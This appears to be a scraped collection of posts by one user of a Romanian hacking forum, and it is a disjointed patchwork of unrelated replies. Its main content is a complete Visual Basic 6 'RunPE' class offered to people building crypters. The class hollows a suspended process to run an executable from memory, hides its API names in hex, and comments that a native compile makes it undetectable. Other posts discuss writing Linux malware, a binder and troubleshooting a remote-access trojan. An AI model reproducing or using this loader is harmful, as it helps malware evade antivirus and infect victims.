Nytro

E o diferenta intre "infectate" si "detectate".

O metoda "draguta" de apel dinamic. Autorul nu il stiu, cred ca e vorba de "Skillless". #include <windows.h> int main() { HINSTANCE Dll = LoadLibrary("user32.dll"); DWORD(*Func)(void) = (DWORD(*)(void))GetProcAddress(Dll, "MessageBoxA"); HWND A = 0; LPCTSTR B = "Question?"; LPCTSTR C = "Title!"; UINT D = MB_ICONEXCLAMATION | MB_YESNO; asm("push %0" :: "r"(D)); asm("push %0" :: "r"(C)); asm("push %0" :: "r"(); asm("push %0" :: "r"(A)); Func(); asm("pop %0" :: "r"(A)); asm("pop %0" :: "r"(); asm("pop %0" :: "r"(C)); asm("pop %0" :: "r"(D)); FreeLibrary(Dll); return 0; } Va dati si voie seama ce face, ce functie apeleaza si cum.

Pentru incarcarea unui executabil in memorie, pentru cei care vor sa faca un crypter. Author: f0rce Creditele (pe ce este bazata munca sa) sunt in fisierul clasa (.cls) pentru Visual Basic 6 (sa inteleaga toata lumea). Ar trebui sa functioneze pe XP, Vista, Windows 7, daca am timp o sa il testez. '--------------------------------------------------------------------------------------- ' Module : cRunPE ' DateTime : 14/06/2010 ' Author : f0rce ' Purpose : RunPE ' Usage : At your own risk ' Requirements: None ' Distribution: You can freely use this code in your own ' applications, but you may not reproduce ' or publish this code on any web site, ' online service, or distribute as source ' on any media without express permission. ' ' Thanks to : SqUeEzEr - NTLoadLibrary & NTGetProcAddress ' Cobein - Normal RunPE structure ' Karcrack - Invoke ' ' Compile : It work with all Compile Options but Compile with Native it will be FUD ' ' History : 14/06/2010 First Cut.................................................... '--------------------------------------------------------------------------------------- Option Explicit Private Const THUNK_APICALL As String = "384234433234303835313C5041544348313E45383C5041544348323E3539383930313636333143304333" '"8B4C240851<PATCH1>E8<PATCH2>5989016631C0C3" Private Const PATCH1 As String = "3C5041544348313E" '"<PATCH1>" Private Const PATCH2 As String = "3C5041544348323E" '"<PATCH2>" Private Declare Function LdrLoadDll Lib "NTDLL" (ByVal pWPathToFile As Long, ByVal Flags As Long, ByRef pwModuleFileName As UNICODE_STRING, ByRef ModuleHandle As Long) As Long Private Declare Sub MoveMe Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any) Private Declare Sub RtlInitUnicodeString Lib "NTDLL" (DestinationString As Any, ByVal SourceString As Long) Private Declare Function LdrGetProcedureAddress Lib "NTDLL" (ByVal ModuleHandle As Long, ByRef paFunctionName As Long, ByVal Ordinal As Integer, ByRef FunctionAddress As Long) As Long Private c_bInit As Boolean Private c_lVTE As Long Private c_lOldVTE As Long Private c_bvASM(&HFF) As Byte Private Const CONTEXT_FULL As Long = &H10007 Private Const MAX_PATH As Integer = 260 Private Const CREATE_SUSPENDED As Long = &H4 Private Const MEM_COMMIT As Long = &H1000 Private Const MEM_RESERVE As Long = &H2000 Private Const PAGE_EXECUTE_READWRITE As Long = &H40 Private Const sKlib As String = "4B65726E656C3332" 'Kernel32 Private Const sNlib As String = "4E74646C6C" 'Ntdll Private Const sCApi As String = "43726561746550726F6365737357" 'CreateProcessW Private Const sNApi As String = "4E74556E6D6170566965774F6653656374696F6E" 'NtUnmapViewOfSection Private Const sRtApi As String = "52746C4D6F76654D656D6F7279" 'RtlMoveMemory Private Const sVApi As String = "5669727475616C416C6C6F634578" 'VirtualAllocEx Private Const sWApi As String = "577269746550726F636573734D656D6F7279" 'WriteProcessMemory Private Const sGApi As String = "476574546872656164436F6E74657874" 'GetThreadContext Private Const sSApi As String = "536574546872656164436F6E74657874" 'SetThreadContext Private Const sRApi As String = "526573756D65546872656164" 'ResumeThread Private Type UNICODE_STRING uLength As Integer uMaximumLength As Integer pBuffer As Long End Type Private Type STARTUPINFO cb As Long lpReserved As Long lpDesktop As Long lpTitle As Long dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessID As Long dwThreadID As Long End Type Private Type FLOATING_SAVE_AREA ControlWord As Long StatusWord As Long TagWord As Long ErrorOffset As Long ErrorSelector As Long DataOffset As Long DataSelector As Long RegisterArea(1 To 80) As Byte Cr0NpxState As Long End Type Private Type CONTEXT ContextFlags As Long Dr0 As Long Dr1 As Long Dr2 As Long Dr3 As Long Dr6 As Long Dr7 As Long FloatSave As FLOATING_SAVE_AREA SegGs As Long SegFs As Long SegEs As Long SegDs As Long Edi As Long Esi As Long Ebx As Long Edx As Long Ecx As Long Eax As Long Ebp As Long Eip As Long SegCs As Long EFlags As Long Esp As Long SegSs As Long End Type Private Type IMAGE_DOS_HEADER e_magic As Integer e_cblp As Integer e_cp As Integer e_crlc As Integer e_cparhdr As Integer e_minalloc As Integer e_maxalloc As Integer e_ss As Integer e_sp As Integer e_csum As Integer e_ip As Integer e_cs As Integer e_lfarlc As Integer e_ovno As Integer e_res(0 To 3) As Integer e_oemid As Integer e_oeminfo As Integer e_res2(0 To 9) As Integer e_lfanew As Long End Type Private Type IMAGE_FILE_HEADER Machine As Integer NumberOfSections As Integer TimeDateStamp As Long PointerToSymbolTable As Long NumberOfSymbols As Long SizeOfOptionalHeader As Integer Characteristics As Integer End Type Private Type IMAGE_DATA_DIRECTORY VirtualAddress As Long Size As Long End Type Private Type IMAGE_OPTIONAL_HEADER Magic As Integer MajorLinkerVersion As Byte MinorLinkerVersion As Byte SizeOfCode As Long SizeOfInitializedData As Long SizeOfUnitializedData As Long AddressOfEntryPoint As Long BaseOfCode As Long BaseOfData As Long ImageBase As Long SectionAlignment As Long FileAlignment As Long MajorOperatingSystemVersion As Integer MinorOperatingSystemVersion As Integer MajorImageVersion As Integer MinorImageVersion As Integer MajorSubsystemVersion As Integer MinorSubsystemVersion As Integer W32VersionValue As Long SizeOfImage As Long SizeOfHeaders As Long CheckSum As Long SubSystem As Integer DllCharacteristics As Integer SizeOfStackReserve As Long SizeOfStackCommit As Long SizeOfHeapReserve As Long SizeOfHeapCommit As Long LoaderFlags As Long NumberOfRvaAndSizes As Long DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY End Type Private Type IMAGE_NT_HEADERS Signature As Long FileHeader As IMAGE_FILE_HEADER OptionalHeader As IMAGE_OPTIONAL_HEADER End Type Private Type IMAGE_EXPORT_DIRECTORY Characteristics As Long TimeDateStamp As Long MajorVersion As Integer MinorVersion As Integer lpName As Long Base As Long NumberOfFunctions As Long NumberOfNames As Long lpAddressOfFunctions As Long lpAddressOfNames As Long lpAddressOfNameOrdinals As Long End Type Private Type IMAGE_SECTION_HEADER SecName As String * 8 VirtualSize As Long VirtualAddress As Long SizeOfRawData As Long PointerToRawData As Long PointerToRelocations As Long PointerToLinenumbers As Long NumberOfRelocations As Integer NumberOfLinenumbers As Integer Characteristics As Long End Type Public Function zDoNotCall() As Long ' This function will be replaced with machine code laterz ' Do not add any public procedure on top of it End Function Public Sub CallMe(szProcessName As String, lpBuffer() As Byte, sParameter As String) Dim Pidh As IMAGE_DOS_HEADER Dim Pinh As IMAGE_NT_HEADERS Dim Pish As IMAGE_SECTION_HEADER Dim Si As STARTUPINFO Dim Pi As PROCESS_INFORMATION Dim Ctx As CONTEXT Dim i As Long Si.cb = Len(Si) Ctx.ContextFlags = CONTEXT_FULL Call Invoke(GetPointer("3"), VarPtr(Pidh), VarPtr(lpBuffer(0)), Len(Pidh)) Call Invoke(GetPointer("3"), VarPtr(Pinh), VarPtr(lpBuffer(Pidh.e_lfanew)), Len(Pinh)) Call Invoke(GetPointer("1"), 0, StrPtr(szProcessName) & " " & sParameter, 0, 0, 0, CREATE_SUSPENDED, 0, 0, VarPtr(Si), VarPtr(Pi)) Call Invoke(GetPointer("2"), Pi.hProcess, Pinh.OptionalHeader.ImageBase) Call Invoke(GetPointer("4"), Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE) Call Invoke(GetPointer("5"), Pi.hProcess, Pinh.OptionalHeader.ImageBase, VarPtr(lpBuffer(0)), Pinh.OptionalHeader.SizeOfHeaders, 0) For i = 0 To Pinh.FileHeader.NumberOfSections - 1 Call MoveMe(Len(Pish), Pish, lpBuffer(Pidh.e_lfanew + Len(Pinh) + Len(Pish) * i)) Call Invoke(GetPointer("5"), Pi.hProcess, Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, VarPtr(lpBuffer(Pish.PointerToRawData)), Pish.SizeOfRawData, 0) Next Call Invoke(GetPointer("6"), Pi.hThread, VarPtr(Ctx)) Call Invoke(GetPointer("5"), Pi.hProcess, Ctx.Ebx + 8, VarPtr(Pinh.OptionalHeader.ImageBase), 4, 0) Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint Call Invoke(GetPointer("7"), Pi.hThread, VarPtr(Ctx)) Call Invoke(GetPointer("8"), Pi.hThread) End Sub Private Function Invoke(ByVal lMod As Long, ParamArray Params()) As Long Dim lPtr As Long Dim i As Long Dim sData As String Dim sParams As String If lMod = 0 Then Exit Function For i = UBound(Params) To 0 Step -1 sParams = sParams & Hex2Str("3638") & GetLong(CLng(Params(i))) Next lPtr = VarPtr(c_bvASM(0)) lPtr = lPtr + (UBound(Params) + 2) * 5 lPtr = lMod - lPtr - 5 sData = Hex2Str(THUNK_APICALL) sData = Replace$(sData, Hex2Str(PATCH1), sParams) sData = Replace$(sData, Hex2Str(PATCH2), GetLong(lPtr)) Call PutThunk(sData) Invoke = PatchCall End Function Private Function GetLong(ByVal lData As Long) As String Dim bvTemp(3) As Byte Dim i As Long Call MoveMe(&H4, bvTemp(0), lData) For i = 0 To 3 GetLong = GetLong & Right$(Hex2Str("30") & Hex$(bvTemp(i)), 2) Next End Function Private Sub PutThunk(ByVal sThunk As String) Dim i As Long For i = 0 To Len(sThunk) - 1 Step 2 c_bvASM((i / 2)) = CByte(Hex2Str("2668") & Mid$(sThunk, i + 1, 2)) Next End Sub Private Function PatchCall() As Long Call MoveMe(&H4, c_lVTE, ByVal ObjPtr(Me)) c_lVTE = c_lVTE + &H1C Call MoveMe(&H4, c_lOldVTE, ByVal c_lVTE) Call MoveMe(&H4, ByVal c_lVTE, VarPtr(c_bvASM(0))) PatchCall = zDoNotCall Call MoveMe(&H4, ByVal c_lVTE, c_lOldVTE) End Function Public Property Get Initialized() As Boolean Initialized = c_bInit End Property Private Sub Class_Initialize() c_bInit = True End Sub Public Function Hex2Str(ByVal strData As String) Dim i As Long, CryptString As String, tmpChar As String On Local Error Resume Next For i = 1 To Len(strData) Step 2 CryptString = CryptString & Chr$(Val(Chr$(38) & Chr$(72) & Mid$(strData, i, 2))) Next i Hex2Str = CryptString End Function Public Function GetPointer(PTR As String) As Long GetPointer = 0 If PTR = "1" Then GetPointer = NtGetProcAddr(NtLoadLibrary(Hex2Str(sKlib)), Hex2Str(sCApi)) Else End If If PTR = "2" Then GetPointer = NtGetProcAddr(NtLoadLibrary(Hex2Str(sNlib)), Hex2Str(sNApi)) Else End If If PTR = "3" Then GetPointer = NtGetProcAddr(NtLoadLibrary(Hex2Str(sKlib)), Hex2Str(sRtApi)) Else End If If PTR = "4" Then GetPointer = NtGetProcAddr(NtLoadLibrary(Hex2Str(sKlib)), Hex2Str(sVApi)) Else End If If PTR = "5" Then GetPointer = NtGetProcAddr(NtLoadLibrary(Hex2Str(sKlib)), Hex2Str(sWApi)) Else End If If PTR = "6" Then GetPointer = NtGetProcAddr(NtLoadLibrary(Hex2Str(sKlib)), Hex2Str(sGApi)) Else End If If PTR = "7" Then GetPointer = NtGetProcAddr(NtLoadLibrary(Hex2Str(sKlib)), Hex2Str(sSApi)) Else End If If PTR = "8" Then GetPointer = NtGetProcAddr(NtLoadLibrary(Hex2Str(sKlib)), Hex2Str(sRApi)) Else End If End Function Public Function NtGetProcAddr(ByVal lModuleHandle As Long, ByVal sProc As String) As Long Dim i As Long Dim ANSI() As Byte ReDim ANSI(0 To Len(sProc)) For i = 1 To Len(sProc) ANSI(i - 1) = Asc(Mid$(sProc, i, 1)) Next i Call LdrGetProcedureAddress(lModuleHandle, VarPtr(ANSI(0)), ByVal 0&, NtGetProcAddr) End Function Public Function NtLoadLibrary(ByVal sName As String) As Long Dim US As UNICODE_STRING Call RtlInitUnicodeString(US, StrPtr(sName)) Call LdrLoadDll(ByVal 0&, ByVal 0&, US, NtLoadLibrary) End Function

Stiu ca exista de mult, dar industria lor nu este atat de infloritoare ca pe Windows. Si motivele sunt simple: Windows ofera mai multe limbaje de programare + .NET care usureaza mult "munca", exista foarte multe exemple si foarte multa documentatie si cel mai important, sunt mult mai multi utilizatori de Windows. Am vrut si eu sa trec la scrierea de malware pentru Linux, am facut acel Darky Binder (v2.0) pentru Linux dar nu m-a pasionat foarte mult asta.

Cu ce va incanta pe voi ca este open-source? Cate patch-uri ati scris voi? De cate ori v-ati uitat in sursa? Ideea e sa nu mai aduceti acest pseudo-argument. In plus, la un proiect open-source poate aduce un patch nea Vasile din varful satului, la Microsoft lucreaza insa oameni bine platiti care stiu ce fac.

Nu statea nimeni sa infecteze atatea fisiere. Oricum sunt sigur ca sunt si fisiere infectate, dar nu de el. Dar de obicei, cei care fac astfel de programele nu le infecteaza, insa e posibil ca cele "priv8" sa fie infectate. Felicitari pentru munca depusa.

O sa inceapa sa se dezvolte si malware pentru Linux. Scrierea unui program "rau" e la fel de usoara ca pe Windows, numai ca Windows iti ofera mai multe "solutii". Nu vad cum ar fi Linuxul mai sigur decat Windowsul, cat timp utilizatorul face prostia de a rula un executabil, efectul e acelasi. Eu folosesc Windows, si cum sa spun... Nu cad virusi din copaci.

Am inteles ca in trecut se practica asa ceva, dar nu ceva asa complex, ceva cu un fel de cui...

Si eu raspund la intrebari despre fizica nucleara si fizica cuantica chiar daca nu sunt expert in aceste domenii. Fac asta ajutandu-ma de Google, asa cum vei face si tu cu intrebarile. Daca ai citit o carte ce prezinta un limbaj de programare asta nu inseamna ca il cunosti. Incearca sa scri tu cod in acel limbaj, o sa vezi ca nu o sa reusesti. Sa sti un limbaj inseamna sa fi lucrat mult in el. Si daca nu ai macar 500 de linii de cod, nu vad cum ai putea spune ca sti acel limbaj... Arata-ne niste proiecte care sa insumeze 500 de linii de cod, pentru fiecare limbaj enumerat, dar sa fie scrise de tine, nu 90% luate de pe Google sau din tutoriale, si te credem pe cuvant.

cp/m arata-mi cateva proiecte scrise de tine de la 0 in fiecare limbaj te rog. Banuiesc ca ai minim 1000 de linii de cod scrise in fiecare limbaj de esti atat de sigur pe tine, am dreptate? Eu de exemplu am scris mai mult de 15.000 de linii de cod in PHP.

Daca am auzit de "xor eax, eax" nu inseamna ca stiu ASM. Scrieti si voi ceva in care ati scris minim 500 de linii de cod. Eu am lucrat asa in Visual Basic, PHP, C++ si scripting: JavaScript. Asa am facut programele de 2 linii de cod in alte limbaje, dar asta nu inseamna ca le stiu.

Aici nu e ISR, trashed.

HcJ & Cyb3r-1sT & S4S-T3rr0r!sT Cam ei au facut deface si la blackhat-forums de 2 ori, si la multe altele...

Prea tare...

Ti-am scris in PM. Daca e deja conectat cineva, nu se va mai conecta. Serverul se conecteaza la client. Cand dai built la server, in el e scris IP-ul curent, si la rulare, serverul incearca sa se conecteze la acel IP. Asta e baza, pot interveni destule probleme. Daca tu cu clientul ai rooter si nu ai port forwarding sau altele..

Si esti sigur ca l-a rulat? Si ca nu a fost blocat de firewall sau sters de antivirus? Ai rooter?

Nu se va putea descotorosi niciodata de Windows, are nevoie de Windows, are aplicatii pentru acest SO, cum le vor testa? Nu cred ca vor abandona proiectele...

Pff, ai dat de gol partea de underground (si la propriu si la figurat) a RST-ului. Pai kwe asta si BOF-urile...

Babi Minune, Narcisa & Mr. Juve - Zumba e

Incet, incet Windows si Microsoft pierd teren in fata concurentei. Dar tot asa creste si monopolul Google...

Alunelu, Alunelu hai la joc

PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX Ban.

Asteapta inca 7 zile, poate il primesti dupa ce expira banul.

$_server['server_addr'] ?